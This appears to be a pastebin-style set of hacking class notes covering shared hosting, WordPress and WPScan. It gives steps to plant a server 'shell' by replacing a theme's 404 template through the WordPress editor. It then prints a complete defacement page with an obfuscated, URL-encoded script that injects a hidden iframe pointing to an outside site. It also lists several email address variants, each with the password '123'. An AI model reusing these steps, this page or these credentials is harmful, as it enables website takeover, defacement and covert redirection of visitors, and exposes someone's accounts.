· 8 years ago · Dec 15, 2017, 01:48 PM
1Hosting
2
3Server <-
4
5Shared Hosting
6
7Multiple websites in one server
8
9Benifit - Cheap - low Cost
10
11DeMerit - Security (If any One website got hacked, complete server can be hacked)
12
13Dedicated Hosting
14===================
15
16One Server - One Owner
17
18Benifit - High Security
19
20DeMerit - Cost
21
22godaddy.com
23
24yougetsignal.com
25
26
27Wordpress
28=========
29
30CMS - Content Management System
31
32Drupal
33
34Wordpress <--
35
36zoomla
37
38etc etc
39
40wordpress.org
41
42
43gmail.com
44
45palvinder91@gmail.com // 123
46
47PAlvinder91@gmail.com // 123
48
49palv.inder91@gmail.com // 123
50
51pa.l.v.inder91@gmail.com // 123
52
53p.al.vin.der91@gmail.com // 123
54
55p.a.l.v.i.n.d.e.r91@gmail.com // 123
56
57palvinder91@ymail.com // 123
58
59anni.pa98@ymail.com
60
61==========
62
63WPSCAN - Automated tool for web VAPT for Wordpress CMS
64
65Kali Linux
66
67
68Terminal -> #wpscan --help
69
70Step 1: Basic Scanning
71
72#wpscan --url
73
74
75Shell <---
76
77is a file|code , if this code uploaded in webiste, and got executed, this code will give u access of complete server. (Shared Server - All websitess are yours :)
78
79
80
81
82
83Steps to upload shell | Arbitrary file in Wordpress
84==================================================
85
86
87Login Dashboard -> Appearnce -> Editor -> 404 Templare -> Replpace its code with Shell code
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122<html><head></style><embed src="http://www.youtube.com/v/hZsaPu-kthY&hl=en_US&loop=1&feature=related&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="1" height="1"></embed>
123<title>Hacked by ShOrTy420(MusTaFa)</title></head><body background="http://www.madtomatoe.com/wp-content/uploads/2010/11/matrix-animated-image.gif"></body><center><h1 style=color:red;>(? ?? ? ??)? I WANA PLAY A GAME ?(?? ? ??? ) </h1><h2 style=color:green;>Dis WEbsite iS hackEd by ShOrTy420 A.K.A MusTaFa </h4><img src="http://3.bp.blogspot.com/-WYL_xsCOb8o/TsSKzTGbnuI/AAAAAAAAASE/VoyntSKwf70/s1600/Hacker.png"><h3 style=color:grey; >*****INDIAN CYBER PIRATES******</h1><p style=color:grey; >Greedz to--> DeaDlyman , DeadliestMohit , Mobin , AnkIt , Manish , ShubHAm ,ChesterBrown , Indian Cyber Pirates , Team-Zombie , Team Grey Hat , Sky Walker (Tgh) ,CoodeFire , MarathiCyberArmy </p></center></html><script>
124<!--
125document.write(unescape("%3Cscript%3E%0A%3C%21--%0Adocument.write%28unescape%28%22%3Ciframe%20frameborder%3D%220%22%20height%3D%220%22%20src%3D%22http%3A//www.devilscafe.in%22%20%0A%0Awidth%3D%220%22%3E%3C/iframe%3E%0A%3Ca%20href%3D%22http%3A//www.devilscafe.in%22%20target%3D%22_blank%22%3E%3Cimg%20%0A%0Asrc%3D%22%22%20/%3E%22%29%29%3B%0A//--%3E%0A%3C/script%3E"));
126//-->
127</script>